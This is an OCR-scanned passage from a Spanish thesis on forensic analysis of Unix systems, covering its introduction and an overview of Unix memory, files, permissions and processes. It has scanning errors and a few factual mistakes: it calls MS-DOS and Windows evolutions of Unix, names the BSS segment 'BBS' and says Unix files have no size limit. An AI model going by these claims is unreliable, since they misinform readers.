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Introduccién

Introduccion

La tecnologia en computo y redes dominan nuestras vidas, sin embargo
existen aln demasiadas personas quienes rechazan vivir con esta tecnologia en
su vida diaria, sélo basta pensar la utilidad que nos trae en la educacion,
trabajo, servicios, comunicaciones, etc., seria imposible realizar muchas de las
actividades que llevamos a diario sin su uso.

La adopcién de nuevas tecnologias sigue un patron predecible, primero la
tecnologia es introducida y pronto se adopta para utilizarla, al incrementar su
uso, algunos usuarios explotan sus capacidades para dirigir su desarrollo,
desafortunadamente, algunos otros la utilizan para delinquir y facilitar la
actividad criminal. Nosotros dentro de una vida académica no estamos exentos
de este tipo de actividad, somos parte de ella, pues tomamos parte al
introducirla a nuestras vidas, y al mismo tiempo, somos blanco perfecto de
personas que buscan lucrar con usuarios incautos con el fin de proteger su
identidad delictiva.

Desde la aparicion y uso masivo de los equipos de computo, los
administradores de éstas realizan una gran labor para construirlas vy
mantenerlas con el fin de limitar (disminuir) los problemas de cdémputo,
debido a que el incremento de informacion importante en los sistemas, los
problemas de seguridad llegan a ser aparentes.

En un sistema confiable, la auditoria de seguridad y deteccién de intrusos ha
llegado a ser una parte importante de la seguridad en computo y redes para
detectar violaciones a las politicas de seguridad de la organizacion, pero qué
sucede cuando un sistema ya no es confiable, la auditoria de seguridad y
deteccion de intrusos pasan a un segundo plano, entonces es necesario un
analisis forense.

Al proceso de capturar, recuperar y analizar informacion de un sistema
comprometido se le conoce como Analisis Forense, las preguntas que surgen
inmediatamente son las siguientes:

¢Qué informacion se debe capturar?

¢Cual de ella se debe recuperar?

¢Como se debe llevar la recopilacion de informacion?

¢ Como se debe realizar el anélisis?

¢ Qué se espera obtener con el analisis?
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e ;Quién realizara esta actividad?
Como se puede ver, el realizar un analisis forense no es una actividad simple.

Comunmente, cuando se realiza un analisis forense, si no se tiene una
metodologia bien establecida, se corre el riesgo de omitir recopilar
informacion importante para el analisis, o aun peor, modificar el sistema de
coémputo, lo cual traeria como consecuencia un analisis forense erroneo, estos
y otros puntos fueron tomados en cuenta para darle vida a este trabajo.

La tesis Analisis Forense en Sistemas Unix esta dividida en 5 capitulos, a
través de los cuales se introduce al lector en temas cada vez mas especificos,
asi, el capitulo 1, se encarga de dar a conocer los detalles del sistema
operativo Unix que un usuario necesita conocer para entender las
procedimientos a seguir en la realizacion de un analisis forense.

Una vez que se han establecido las bases sobre las cuales se desarrolla este
trabajo, se presentan las cuestiones relevantes a la seguridad en computo, tales
temas pueden ser consultados en el capitulo 2. Se realiza un estudio sobre la
seguridad en el sistema operativo y en red, se hizo de este modo para
establecer la diferencia entre ambos y para definir el alcance de nuestro
desarrollo del proyecto, y dejar en claro con que recursos se cuentan para
alcanzar el objetivo.

La seguridad en computo no solamente radica en la proteccion logica de los
recursos disponibles, la seguridad fisica es un tema tan amplio como el
primero, y que la mayoria de las veces se omite por desconocimiento o por
que no se cree tan importante, como ejemplo, en el ataque a las torres gemelas
de New York en 2001, muchos servidores de cémputo fueron perdidos y con
ello la informacion que contenian, en tal caso los recursos materiales se
pueden recuperan, pero la informacion no. Si el ejemplo citado parece lejano a
nuestras vidas, los huracanes (Stan y Wilma) que han azotado el sureste
mexicano (Oaxaca, Chiapas, Quintana Roo) son el claro ejemplo en el que la
seguridad fisica de los equipos de codmputo se omitid y trajo severos dafios a
las tecnologias de la informacion.

En el capitulo 3 se aborda la teoria de un andlisis forense, la metodologia
empleada en todo el proceso de su realizacion, las herramientas utilizadas, el
riesgo de omitir la planeacion y la legislacion que en nuestros dias opera. Un
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punto que es importante destacar es que se realiza una separacion de lo que es
un analisis forense y una auditoria de seguridad informatica.

La implementacion de la herramienta desarrollada se presenta en el capitulo
4, el cual comienza presentando la etapa de analisis, se detalla la necesidad de
crear la herramienta, una comparativa de los lenguajes de programacion
disponibles y de por qué Perl fue el 6ptimo, sin olvidar presentar la etapa de
pruebas y mantenimiento.

En la etapa de pruebas se aplico la herramienta desarrollada sobre varios
sistemas comprometidos, con lo cual se obtuvo un buen pardmetro de utilidad
y de mejoras, como parte de esta etapa se muestra un capitulo 5, el cual
presenta un caso préactico, el sistema tomado como ejemplo se obtuvo de un
evento realizado a nivel internacional llamado reto forense, sobre tal sistema
proporcionado se realizd el analisis forense y los resultados son presentados
en este capitulo.

Finalmente, el trabajo da a conocer las conclusiones a las que se llegaron
después de haber desarrollado el presente trabajo.

Considero que el presente trabajo de tesis abarca desde los puntos mas basicos
hasta temas que muy pocas veces se presentan en las aulas de clase, es por ello
que resulta un buen material de consulta para los lectores interesados en el
tema.
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Capitulo 1

tema Operativo Unix




Sistema operativo Unix

1.1 Antecedentes y origenes de Unix

¢Por qué tuvo tanto éxito el enfoque de Unix? Aparentemente, su simplicidad
fue un factor decisivo. En su disefio, sus creadores antepusieron la facilidad de
comprension a la eficiencia, de manera que era facil entender el cédigo y, por
ende, adaptarlo a las necesidades de otros. Unix no es una reliquia del pasado;
de hecho, la mayor parte de los sistemas operativos actuales son una evolucion
de Unix (incluidos MS-DOS y Windows). Por eso es conveniente conocer los
principios en los que se fundamenta, puesto que esos misSmos principios
estaran presentes (de una u otra manera) en los sistemas que hoy podamos
manejar.

1.1.1 Filosofia de Unix

Para Unix todo es un archivo, esta idea, propia de la orientacion a objetos (si
bien la precede), consiste en que la unidad bésica para la interaccion con el
sistema es una entidad llamada archivo que, como los archivos en papel,
puede abrirse, leerse, avanzar hojas hacia delante y hacia atréas, escribir en él,
y cerrarse. Este modelo tan sencillo puede parecer ingenuo, pero ha probado
ser extremadamente valioso. Permite a un programa acceder
transparentemente a un documento de texto o a un puerto de comunicacion.
Por ello, no existen periféricos, solo archivos. De esta manera se unifican
todos los procesos de entrada y salida. Los directorios son archivos que
contienen enlaces con otros archivos. Terminales, discos compactos e
impresoras son archivos, en teoria se puede escribir y leer de todos ellos. Para
encontrar los archivos en el disco, el sistema utiliza punteros Ilamados i-
nodos.

La insistencia de la filosofia “lo pequefio es hermoso” tuvo mejores efectos.
Primero, si un nuevo requerimiento surgia y que antes éste no era previsible
aparentemente: la salida de algunas de esas herramientas, fueron llamadas
como comandos de propdsito simple, éstos deben ser canalizados a través de
la salida de otras herramientas. De esta necesidad viene el concepto de
comandos pipelines (tuberias) y, salida y entrada estandar. Segundo, el
desarrollo de nuevos comandos y otras aplicaciones fue menos dificil que en
otros sistemas operativos, lo que hizo que el sistema Unix comenzara a tener
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un crecimiento que aun hoy en dia continla. Esta facilidad de desarrollar
software y mantenerlo fue un resultado directo de la filosofia del sistema Unix
para crear herramientas. Tercero, el sistema Unix contiene un gran numero de
comandos de propdésito simple, que permiten al usuario combinarlos para
obtener un resultado especifico, en lugar de aprenderse comandos especificos
como sucede en otros sistemas operativos.

De este modo, es como Unix ha logrado incorporar un conjunto de
herramientas que guardan cierta analogia con una navaja multiusos, son
simples, pero hacen muy bien su trabajo. En lugar de construir programas muy
complejos, Unix proporciona muchas pequefias herramientas, y un esquema
para poder combinarlas de forma efectiva. Este disefio escala muy bien,
permitiendo al sistema crecer, incorporar nuevas herramientas y, a la vez, ser
compatible hacia atras.

1.1.2 Portabilidad

Debido a que Unix fue escrito en lenguaje C, el traslado a una nueva maquina
(portarlo) fue maés facil que en los primeros dias de su existencia. El traslado
requiere que primero se escriba un compilador en C para la nueva maquina.
Después hay que escribir controladores de los dispositivos para los
dispositivos de E/S de la nueva méaquina, tales como terminales, impresoras y
discos. Aunque este codigo esta en C, no se puede transferir de una maquina a
otra, puesto que dos discos no tienen que funcionar de la misma manera. Por
ultimo, se debe volver a escribir (por lo general en lenguaje ensamblador) un
pequefio codigo dependiente de la maquina, como los controladores de las
interrupciones y las rutinas para el manejo de memoria.

A fines de la década de los ochenta, se utilizaban ampliamente dos versiones
distintas, un tanto incompatibles, de Unix: 4.3BSD vy la version 3 del sistema
V. Ademas, casi todos los vendedores afiadian sus propias mejoras no
estdndar. Esta division en el mundo de Unix, aunada al hecho de que no
existian estandares para el formato de los programas en binario, inhibio en
gran parte el éxito comercial de Unix, puesto que los vendedores de software
no podian escribir y empacar programas en Unix (como ocurria con MS-
DOS). Los primeros intentos por lograr un Unix estandar fracasaron. Por
ejemplo, AT&T lanzo el SVID (siglas en inglés de Definicion de Interfaz del
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Sistema V), en donde se definian las Ilamadas al sistema, formato de archivos,
etc.

1.1.3 Integridad de datos

Consideremos un documento almacenado digitalmente. En términos genéricos
Ilamaremos "datos” a cualquier documento o informacion almacenada
digitalmente. Se dice que la integridad de estos datos ha sido preservada
cuando los datos no han sido alterados (modificados, borrados) de una
manera no autorizada desde el momento en que fueron creados, transmitidos
0 guardados por una fuente autorizada. Para poder asegurar la integridad de
los datos, se requiere la habilidad de detectar su manipulacién por quien no
posee la autoridad para hacerlo. La manipulacion o alteracion de los datos
incluye insercion, borrado o sustitucion de partes o del todo.

1.1.4 Modelo de memoria

El modelo de memoria de Unix es algo directo, para que los programas sean
portables y poder implantar Unix en maquinas con unidades de manejo de
memoria con amplias diferencias entre si, desde casi nada (IBM/PC) hasta un
sofisticado hardware de paginacion. Cada proceso en Unix tiene un espacio de
direcciones, con tres segmentos: texto, datos y pila. En la figura 1.1 (a) se
muestra un ejemplo de espacio de direcciones de un proceso.

El segmento de texto contiene las instrucciones de maquina que conforman el
cédigo ejecutable del programa. Es producido por el compilador y el
ensamblador, al traducir el programa en C. Pascal u otro cédigo de maquina.
El segmento de texto es exclusivo para la lectura. Los programas que se
modificaban a si mismos pasaron de moda desde ya hace mas de medio siglo,
puesto que era dificil su comprension y depuracién. Asi, el segmento de texto
no crece ni disminuye ni se modifica de alguna otra manera.

El segmento de datos es un espacio para almacenar las variables, cadenas,
arreglos y otros datos del programa. Tiene dos partes, los datos inicializados y
los datos no inicializados. Por razones historicas, éstos ultimos se conocen
como BBS. La parte inicializada del segmento de datos contiene las variables
y constantes del compilador que necesitan un valor al iniciar el programa.
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Memaoria
Proceso A fisica Proceso B
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(a) (b) deinterrupcidn (c

Figura 1.1 (a) El espacio de direcciones virtuales del proceso A. (b) Memoria fisica.
(c) El espacio de direcciones virtuales del proceso B

Por ejemplo, en C es posible declarar una cadena de caracteres e inicializarla
al mismo tiempo. Al iniciar el programa, este espera que la cadena tenga su
valor inicial. Para implantar esta construccion, el compilador asigna a la
cadena un lugar en el espacio de direcciones y garantiza que al iniciar el
programa, esta posicion contenga a la cadena adecuada. Desde el punto del
sistema operativo, los datos inicializados no son tan distintos del texto del
programa (ambos contienen patrones de bits creados por el compilador, los
cuales deben cargarse en la memoria al iniciar el programa).

La existencia de datos no inicializados es en realidad una optimizacion.
Cuando una variable global no se inicializa de forma explicita, la semantica
del lenguaje C indica que su valor es 0. En la préactica, la mayoria de las
variables globales no se inicializa su valor y sus valores iniciales son entonces
0. Esto se puede implantar al tener una seccion del archivo ejecutable en
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binario igual al numero de bytes de datos e inicializarlos todos, incluyendo a
aquellos que tenian un valor predefinido del 0.

Sin embargo, esto no se hace, para ahorrar espacio en el archivo ejecutable. En
lugar de esto, el archivo contiene todas las variables inicializadas en forma
explicita después del texto del programa. Las variables no inicializadas se
concentran despues de las inicializadas, de forma que lo Unico que debe hacer
el compilador es colocar una palabra en el encabezado para indicar los bytes
por asignar.

Para declarar este punto, consideremos la figura 1.1. Aqui, el texto del
programa es de 8K y los datos inicializados también son de 8k. Los datos no
inicializados (BBS) son de 4k. El archivo ejecutable solo tiene 16k (texto +
datos inicializados), mas un breve encabezado que indica al sistema que
asigne otros 4k después de los datos inicializados y cero antes de comenzar el
programa. Este truco evita almacenar 4k de ceros en el archivo ejecutable.

A diferencia del segmento de texto, que no puede cambiar, el segmento de
datos si puede ser modificado. Los programas modifican sus variables todo el
tiempo. Ademas muchos programas necesitan asignar el espacio de manera
dindmica durante su ejecucion. Unix maneja esto al permitir que el segmento
de datos crezca y se reduzca al asignar y liberar la memoria. Se dispone de una
Ilamada al sistema para permitir a un programa que establezca el tamario de su
segmento de datos. Asi, para asignar mas memoria, un programa puede
incrementar el tamafio de su segmento de datos.

El tercer segmento es el segmento de la pila. En la mayoria de las maquinas,
éste comienza en la parte superior del espacio de direcciones virtuales y crece
hacia abajo en direccion de 0. Si la pila crece debajo de la parte inferior del
segmento de la misma, ocurre, por lo general, un fallo de hardware y el
sistema operativo reduce el limite inferior del segmento de la pila en unos
cuantos miles de bytes (por ejemplo, una pagina). Los programas no controlan
en forma explicita el tamario del segmento de la pila.

Al iniciar un programa, su pila no esta vacia, sino que contiene las variables
del entorno (shell), asi como la linea de comando escrita en el shell para
Ilamar a dicho programa. De esta manera, un programa puede descubrir sus
argumentos.
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Cuando dos usuarios ejecutan el mismo programa, como es el caso de un
editor, seria posible, pero ineficiente, tener dos copias del texto del programa
editor en la memoria al mismo tiempo. En vez de esto, muchos sistemas Unix
soportan los segmentos de texto compartidos. En la figura 1.1(a) y 1.1(c) se
muestran dos procesos que tienen el mismo segmento de texto. En la figura
1.1(b) se presenta una posible distribucion de la memoria fisica, en donde
ambos procesos comparten el mismo segmento de texto. La asociacion se hace
mediante el hardware de la memoria virtual.

Los segmentos de datos y de la pila nunca se comparten. Si cualquiera de ellos
necesita crecer y no existe espacio adyacente hacia el cual hacerlo, se le
desplaza a otra parte de la memoria.

En ciertas computadoras, el hardware soporta espacios independientes de
direcciones para las instrucciones y los datos. Cuando se dispone de esta
caracteristica, Unix la puede utilizar.

Dependiendo de la computadora en la que se ejecute, Unix utiliza dos técnicas
de manejo de memoria: swapping y memoria virtual. Lo estandar en Unix es
un sistema de intercambio de segmentos de un proceso entre memoria
principal y memoria secundaria, llamado swapping lo que significa que se
debe mover la imagen de un proceso al disco si éste excede la capacidad de la
memoria principal, y copiar el proceso completo a memoria secundaria. Es
decir, durante su ejecucion, los procesos son cambiados de y hacia memoria
secundaria conforme se requiera.

Si un proceso necesita crecer, pide mas memoria al sistema operativo y se le
da una nueva seccion, lo suficientemente grande para alojarlo. Entonces, se
copia el contenido de la seccidén usada al area nueva, se libera la seccion
antigua y se actualizan las tablas de descriptores de procesos. Si no hay
suficiente espacio en memoria en el momento de la expansion, el proceso se
bloguea temporalmente y se le asigna espacio en memoria secundaria, se copia
a disco y posteriormente, cuando se tiene el espacio adecuado -lo cual sucede
normalmente en algunos segundos- se devuelve a memoria principal.

El proceso que se encarga de los intercambios entre memoria y disco (llamado
swapper) debe ser especial y no podra perder su posicion privilegiada en la
memoria central. El kernel se encarga de que nadie intente siquiera
interrumpir este proceso, del cual dependen todos los demas.
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1.2 Sistema de archivos

Una de las mejores contribuciones que ha hecho Unix a la tecnologia
computacional es el sistema de archivos. EI manejo de archivos es
extremadamente flexible y poderoso en los sistemas Unix, por ello, muchos
conceptos introducidos por él han sido adoptados por otros sistemas
operativos.

El sistema Unix provee de un esquema de directorios jerarquico. Un directorio
puede contener un grupo de archivos. Directorios pueden ser incluidos en
otros directorios, de lo cual resultan ramas de directorios, cominmente
descrito como una estructura de arbol. Comandos, archivos de datos, otros
directorios, y dispositivos de hardware pueden ser representados como
entradas de directorio. El sistema Unix provee de una manera poderosa y
simple de nombrar archivos o directorios dentro del sistema de archivos.

1.2.1 Arbol de directorios

El arbol de directorios estdndar en los sistemas Unix, comienza con el
directorio raiz en el punto méas alto de la jerarquia y bajo de él varios
subdirectorios que tienen un amplio rango de funciones.

e /bin contiene archivos hinarios relacionados con el sistema.

e /boot se utiliza para arrancar el sistema, contiene varios archivos que el
sistema necesita en diferentes momentos durante el proceso de inicio.

e /dev contiene los archivos de dispositivos. Todo dispositivo tiene, al
menos, un archivo de dispositivo asociado a él.

e /etc cuenta con archivos y programas que se utilizan para la
configuracion del sistema.

¢ /lib contiene las bibliotecas necesarias para el desarrollo de programas.

e /[root es el directorio de trabajo para el superusuario.
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e /shin contiene programas que se usan para administrar el sistema
(binarios del sistema)

e /home incluye los directorios de trabajo relacionados con los usuarios.

e [usr abarca varios directorios relacionados con los usuarios, por
ejemplo, en /usr/bin se encuentran varios de los binarios para usuarios,
en /usr/include se encuentran archivos de apoyo para programacion, etc.

e /tmp es un directorio de trabajo temporal, normalmente la informacion
de ese directorio se borra cada cierto tiempo o, cuando se arranca el
sistema.

1.2.2 Archivos y directorios

Formalmente, en los sistemas Unix existen cuatro tipos de archivos: ordinarios
(tambien llamados de datos), directorios, archivos de dispositivos (conocidos
también como archivos especiales) y tuberias (en inglés llamados pipes o
fifos).

Un archivo es una secuencia de bytes de datos que residen en un formato
semipermanente en algunos medios estables tal como discos magnéticos,
discos compactos regrabables o cintas. Los archivos pueden contener
cualquier cosa que se pueda representar como una cadena de bytes: por
ejemplo, programas ejecutables, texto, bases de datos, iméagenes, por
mencionar algunos.

Las operaciones que se pueden hacer con los datos de un archivo son:

e Leer 0 escribir cualquier byte del archivo.
e Anfadir bytes al final del archivo, con lo que aumenta su tamafio.

e Truncar el tamafio de un archivo a cero bytes. Esto es como si se
borrara el contenido del archivo.

Dos 0 méas procesos pueden leer y escribir concurrentemente sobre un mismo
archivo. Los resultados de esta operacion dependeran del orden de las
Ilamadas de entrada/salida individuales de cada proceso y de la gestion que el
planificador haga de los procesos, y en general son impredecibles.
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Los archivos ordinarios, como tales, no tienen nombre y el acceso a ellos se
realiza a través de los i-nodos.

1.2.3 i-nodos

Cada archivo en el sistema tiene exactamente un i-nodo. Los i-nodos son la
descripcion de los archivos para el sistema, y las entradas del directorio
permiten a un usuario referirse a un archivo particular por un nombre. El i-
nodo contiene informacion del siguiente tipo:

Tipo de archivo: regular/directorio/especial
Propietario

Grupo

Informacion de proteccion

Numero de enlaces

Fecha de creacion

Fecha de acceso y de la modificacion mas reciente
Punteros a los blogues de datos

Uno de los elementos en la tabla de datos que forma cada directorio es el i-
nodo, éste es usado para cada archivo, de modo que, cuando un archivo es
actualizado, el sistema actualiza el i-nodo. La lista de i-nodos es colocada
cuando un sistema de archivos es creado. Cuando la lista de i-nodos se ha
llenado, especialmente en discos floppy, ya no se pueden crear nuevos
archivos, esto sucede porque ya no existen i-nodos disponibles.

1.2.4 Nombre

Tanto archivos como directorios siguen las mismas reglas para tener un
nombre: cualquier caracter ASCII es permitido, se toman de distinto modo las
letras mayusculas y minusculas, por ello un archivo llamado UNIX es
diferente a uno llamado unix.

Se puede usar cualquier caracter en el nombre de un archivo, no existe
distincion entre el nombre y su extension. Muchos nombres de archivos
poseen extensiones, tal como main.c o programa.pl, pero estas reglas de
nombres son convenciones que los usuarios han agregado, de este modo, las
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extensiones no son forzadas por ninguna propiedad del sistema. Sin embargo,
se puede usar cualquier nombre de archivo o directorio que se quiera, €so
incluye a los caracteres que tienen un significado especial para el shell, por
ejemplo, el caracteres $ (pesos), el ; (punto y coma), el \ (backslash), el &
(ampersand), el j (signo de exclamacién), el * (asterisco), y el | (pipe). Se
pueden usar los caracteres mencionados, pero puede causar confusion, porque
donde se mencionen en el shell, se debe colocar el nombre del archivo o
directorio entre comillas, de lo contrario, el shell los interpretara como
operadores en lugar de caracteres normales. Un caracter mas, el / (slash) esta
reservado para crear nombres de archivos y directorios y no puede ser
utilizado.

En cuanto a los nombres de directorios, se pueden construir nombres de
archivos que incluyen a un directorio como parte del nombre. El caracter / es
usado para separar los diferentes componentes de un nombre de archivo. Por
ejemplo, el nombre dir/goodbye se refiere al archivo llamado goodbye dentro
del directorio dir.

1.2.5 Tamano

En Unix, un archivo puede crecer casi indefinidamente, no hay limite para el
tamafo de los archivos; sin embargo, algunos sistemas copia de los Unix
estandar tienen ciertas limitaciones incorporadas.

Es importante hacer referencia al concepto de bloqueo de un archivo, de este
modo, un mecanismo de bloqueo de archivos permite a un proceso acceder a
un archivo determinado con exclusion de todos los demas, si otros procesos
intentan acceder a ese archivo, seran obligados a esperar a que el primero
indique que ha terminado. Los archivos actualmente abiertos para lectura no
deben ser abiertos para escritura, y los archivos abiertos para escritura no
deben ser abiertos de ningin modo.

1.2.6 Permisos

Cada archivo y directorio en el sistema de archivos tienen varios atributos
ademas de su nombre. Desde que el sistema Unix soporta maltiples usuarios,
los archivos pueden ser creados por usuarios individuales, por ello, cada
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usuario tienen sus propios archivos hasta que son borrados o cedidos a otro
usuario.

Cada usuario pertenece a un grupo, y puede compartir archivos con usuarios
del grupo, pero no con usuarios de diferente grupo. Cuando se realiza un
listado largo (figura 1.2) de los archivos, la columna méas a la izquierda
muestra los permisos de los archivos.

-rwW-r—r-- 1root root 16138 Mar 24 2003 services
-fW-r----- 1root shadow 1147 Nov 5 11:21 shadow
drwxr-xr-x 2 root root 4096 Mar 17 2003 skel
drwxr-xr-x 3 root root 4096 Mar 28 2003 sound
drwxr-xr-x 2 root root 4096 Sep 24 11:57 ssh

Figura 1.2 Listado largo de los archivos

Como primer caracter aparecerd un — (guion medio) se trata de un archivo
normal, una d si es un directorio, y una | (ele) si se trata de una liga simbodlica.
Algunas veces podra ser una letra ¢ 6 b, para indicar que se trata de un archivo
especial de tipo caracter o blogue, respectivamente.

Las siguientes tres posiciones muestran los permisos del duefio del archivo,
los siguientes tres dan los permisos para el grupo duefio del archivo y los
ultimos tres muestran los permisos para todos los usuarios del sistema.

Cada uno de los tres grupos de permisos se componen de tres partes: acceso a
lectura, acceso a escritura y acceso a ejecucion.

El acceso a lectura significa que el usuario (duefio, grupo o los otros usuarios)
pueden leer el contenido del archivo. El acceso a escritura significa que el
usuario puede escribir en el archivo (editando o redireccionando alguna salida
a éste). El acceso a ejecucion significa que el usuario puede ejecutar el
archivo.

En el caso de los directorios, el significado es levemente diferente: el acceso a
lectura significa que al usuario le es permitido ver el contenido del directorio.
El acceso a escritura significa que el usuario puede crear archivos en el
directorio, y el acceso a ejecucion significa que el usuario puede realizar
busquedas en subdirectorios.
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Las ligas simbdlicas tienen los permisos del objeto al que apuntan; los
permisos de la liga en si misma no tienen ningun significado.

El sistema Unix provee de varios comandos disefiados para manipular los
permisos de archivos y directorios.

En los sistemas Unix System V no es posible modificar el tamafio de un
archivo salvo para reducirlo a 0 bytes o para incrementarlo afiadiéndole bytes
al final.

1.2.7 Ligas simbdlicas

Existe una excepcion en la jerarquia del sistema de archivos, las ligas
simbdlicas, las cuales son archivos que apuntan a otros archivos o directorios.
Una liga simbolica tiene un nombre y una localizacion en el arbol de
directorios, como un archivo o directorio, pero sin ser un archivo o directorio
real, debido a que una liga simbolica no posee ningun contenido; ésta
simplemente actia como un apuntador a otro archivo o directorio.

Cuando el sistema abre un archivo normal, éste lee el contenido del archivo;
sin embargo, cuando el sistema abre una liga simbdlica, éste solamente lee una
ruta de archivo (pathname) y entonces lee el archivo (o directorio) al que la
liga apunta.

La manera en que se crea una liga simbolica es sumamente facil, por ejemplo,
$ In —s notas nueva_liga

De este modo, cuando se especifique el nombre de la liga nueva_liga, el
sistema trabajara con el archivo notas. Algo similar sucede cuando se crea una
liga simbolica de un directorio a otro, quien realmente tendrd archivos y
directorios dentro, es el directorio real, no la liga, si por alguna razon, se
elimina el directorio o se mueve a otro lugar del arbol, la liga no tendrd a
quien apuntar.
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1.2.8 Archivos de dispositivos

Los archivos especiales, o archivos de dispositivo, van a permitir a los
procesos comunicarse con los dispositivos periféricos (discos, cintas,
impresoras, terminales, redes, etc.).

Existen dos tipos de archivos de dispositivo: archivos de dispositivo modo
bloque y archivos de dispositivo modo caracter.

Los archivos de dispositivo modo bloque se ajustan a un modelo concreto: el
dispositivo contiene un arreglo de bloques de tamafo fijo (generalmente
multiplo de 512 bytes) y el nicleo gestiona un buffer caché que acelera la
velocidad de transferencia de los datos. La transferencia de informacion entre
el dispositivo y el nucleo se efectia con mediacion del buffer cache y el
bloque es la unidad minima que se transfiere en cada operacion de
entrada/salida. Ejemplos tipicos de dispositivos modo blogue son los discos y
las unidades de cinta.

En los archivos de dispositivo de modo caracter la informacion no se organiza
segun la estructura concreta y es vista por el nucleo, o por el usuario, como
una secuencia lineal de bytes. En la transferencia de datos entre el nucleo y el
dispositivo no participa el buffer caché y por lo tanto se va a realizar a menor
velocidad. Ejemplos tipicos de dispositivos modo caracter son las terminales
serie y las lineas de impresora.

Un mismo dispositivo fisico puede soportar los dos modos de acceso: bloque y
caracter, y de hecho esto suele ser habitual en el caso de los discos.

Los modulos del nicleo que gestionan la comunicacién con los dispositivos se
conocen como manejadores de dispositivo. Lo normal es que cada dispositivo
tenga su manejador propio. El sistema también puede soportar dispositivos
software (o pseudodispositivos) que no tienen asociados un dispositivo fisico.
Por ejemplo, si una parte de la memoria del sistema se gestiona como un
dispositivo, los procesos que quieran acceder a esa zona de memoria tendran
que usar las mismas Illamadas al sistema que hay para el manejo de archivos,
pero sobre el archivo de dispositivo /dev/mem.

Los archivos de dispositivo, al igual que el resto de los archivos, tienen
asociado un i-nodo. En el caso de los archivos ordinarios o de los directorios,
el i-nodo indica los bloques donde se encuentran los datos del archivo, pero en
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el caso de los archivos de dispositivo no hay datos a los que referenciar. En su
lugar, el i-nodo contiene dos numeros conocidos como major number y minor
number. EI major number indica el tipo de dispositivo de que se trata (disco,
cinta, terminal, etc.) y el minor number indica el nimero de unidad dentro del
dispositivo.

1.3 Procesos

La caracteristica de multitarea de los sistemas Unix es generalmente agrupada
bajo el tema de procesos. Un proceso, o tarea, es un ejemplo de un programa
en ejecucion. El login shell es un proceso, o tarea mientras el usuario esta
dentro del sistema, debido a que éste esta presente hasta que el usuario se
desconecta del sistema. Si el usuario ejecuta un comando desde el prompt $,
ese comando es un proceso mientras se esté ejecutando. Los procesos poseen
varias propiedades, y existen comandos para manipular procesos y sus
propiedades.

1.3.1 Introduccion a los procesos

Un proceso en Unix es como un iceberg: uno ve la parte por arriba del agua,
pero también existe una parte importante por debajo. Cada proceso tiene una
parte del usuario y una parte del nucleo. Por lo general, la parte del niucleo esta
inactiva hasta que se realiza una llamada al sistema. El kernel mantiene dos
estructuras de datos fundamentales relacionadas con los procesos, la tabla de
procesos Yy la estructura del usuario. La tabla de procesos es residente todo
el tiempo y contiene la informacidn necesaria para todos los procesos, incluso
para aquellos que no se encuentren por el momento en la memoria. La
estructura del usuario se intercambia hacia afuera o hacia adentro de la
memoria cuando su proceso asociado no se encuentra en ella, con el fin de no
desperdiciar memoria con informacion no necesaria.

Un proceso se compone de tres bloques fundamentales que se conocen como
segmentos. Estos blogques son:
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e El segmento de texto. Contiene las instrucciones que entiende el CPU
de la maquina. Este blogue es una copia del bloque de texto del
programa.

e EIl segmento de datos. Contiene los datos que deben ser inicializados al
arrancar el proceso. Si el programa ha sido generado por un compilador
de C, en este bloque estaran las variables globales y las estéaticas.

e EIl segmento de pila. Lo crea el nucleo al arrancar el proceso y su
tamano es gestionado dindmicamente por el ndcleo. La pila se compone
de una serie de bloques logicos, llamados marcos de pila, que son
introducidos cuando se llama a una funcién y son sacados cuando se
vuelve de la funcion. Un marco de una pila se compone de los
parametros de la funcion, las variables locales de la funcién y la
informacidn necesaria para restaurar el marco de pila anterior a la
Ilamada a la funcion (dentro de esta informacion se incluyen el contador
de programa y el puntero de pila anteriores a la llamada a la funcion).
En los programas fuente no se incluye codigo para gestionar la pila (a
menos que estén escritos en ensamblador); es el compilador quien
incluye el cddigo necesario para controlarlo.

Unix es un sistema que permite multiproceso (ejecucion de varios procesos
simultdneamente). El planificador es la parte del nucleo encargada de
gestionar la CPU y determinar qué proceso pasa a ocupar tiempo de CPU en
un determinado instante.

Un mismo programa puede estar siendo ejecutando en un instante determinado
por varios procesos a la vez.

Desde un punto de vista funcional, un proceso en Unix es la entidad que se
crea tras la llamada fork. Todos los procesos, excepto el primero (proceso
numero 0), son creados mediante una llamada a fork. El proceso que llama a
fork se conoce como proceso padre y el proceso creado es el proceso hijo.
Todos los procesos tienen un unico proceso padre, pero pueden tener varios
procesos hijos. El ndcleo identifica cada proceso mediante su PID (process
identification), que es un nimero asociado a cada proceso y que no cambia
durante el tiempo de vida de éste.

El proceso O es especial: es creado cuando arranca el sistema, y después de
hacer una llamada a fork se convierte en el proceso intercambiador (encargado
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de la gestion de la memoria virtual). El proceso hijo creado se llama INIT y su
PID vale 1. Este proceso es el encargado de arrancar los demas procesos del
sistema segun la configuracion que se indica en el archivo /etc/inittab.

Todos los usuarios en una maguina tienen procesos asociados con su sesién
actual. Ademas, existen procesos que el sistema crea, algunos de esos
procesos son creados para un proposito especifico, y una vez que el propoésito
es completado, estos mueren.

1.3.2 Estado de los procesos

El tiempo de vida de un proceso se puede dividir en un conjunto de estados,
cada uno con unas caracteristicas determinadas. En la figura 1.3 podemos ver,
en un primer nivel de aproximacion, los estados por los que evoluciona un
proceso. Estos son:

1. El proceso se esta ejecutando en modo usuario.

2. El proceso se esta ejecutando en modo supervisor.

3. El proceso no se esta ejecutando, pero estd listo para ser ejecutado
cuando lo indique el planificador de tareas. Puede haber varios procesos
simultdneamente es este estado.

4. EIl proceso esta durmiendo. Un proceso entra en este estado cuando no

puede proseguir su ejecucién porgue esta esperando a que se complete
una operacion de entrada/salida.
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Figura 1.3 Estado de un proceso y transicion de estados

Un proceso no permanece siempre en un mismo estado, sino que esta
continuamente cambiando de acuerdo con unas reglas bien definidas. Estos
cambios de estado vienen impuestos por la competencia que existe entre los
procesos para compartir un recurso escaso como es la CPU. La transicion
entre los cuatro estados descritos también queda definida en la figura 1.3, que
en este sentido es un diagrama de transicion de estados. Un diagrama de
transicion de estados es un grafo dirigido, cuyos nodos representan los estados
que pueden alcanzar los procesos y cuyas ramas representan los eventos que
hacen que un proceso cambie de un estado a otro.

Si bien la figura 1.3 muestra los cuatro estados basicos por los que puede
pasar un proceso, el diagrama de estados para los procesos de Unix es bastante
méas complejo. En la figura 1.4 podemos ver el diagrama completo y los
estados que en él se reflejan son:

1. El proceso se esta ejecutando en modo usuario.

2. El proceso se esta ejecutando en modo supervisor.

3. El proceso no se esta ejecutando, pero esta listo para ejecutarse tan
pronto como el nucleo lo ordene.
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4. El proceso esta durmiendo cargado en memoria.

